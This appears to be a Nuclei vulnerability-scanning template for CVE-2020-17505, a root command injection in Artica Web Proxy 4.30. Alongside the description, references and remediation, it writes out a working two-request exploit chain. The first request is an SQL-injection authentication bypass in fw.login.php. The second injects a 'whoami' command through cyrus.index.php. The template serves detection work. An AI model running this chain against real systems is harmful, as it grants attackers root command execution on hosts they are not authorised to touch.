id: CVE-2020-17505

info:
  name: Artica Web Proxy 4.30 - OS Command Injection
  author: dwisiswant0
  severity: high
  description: Artica Web Proxy 4.30 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
  remediation: |
    Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159267/Artica-Proxy-4.30.000000-Authentication-Bypass-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17505
    - https://blog.max0x4141.com/post/artica_proxy/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-17505
    cwe-id: CWE-78
    epss-score: 0.96863
    epss-percentile: 0.99563
    cpe: cpe:2.3:a:articatech:web_proxy:4.30.000000:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: articatech
    product: web_proxy
  tags: proxy,packetstorm,cve,cve2020,rce,artica

http:
  - raw:
      - |
        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "array(2)"
          - "Position: ||whoami||"
          - "root"
        condition: and

      - type: status
        status:
          - 200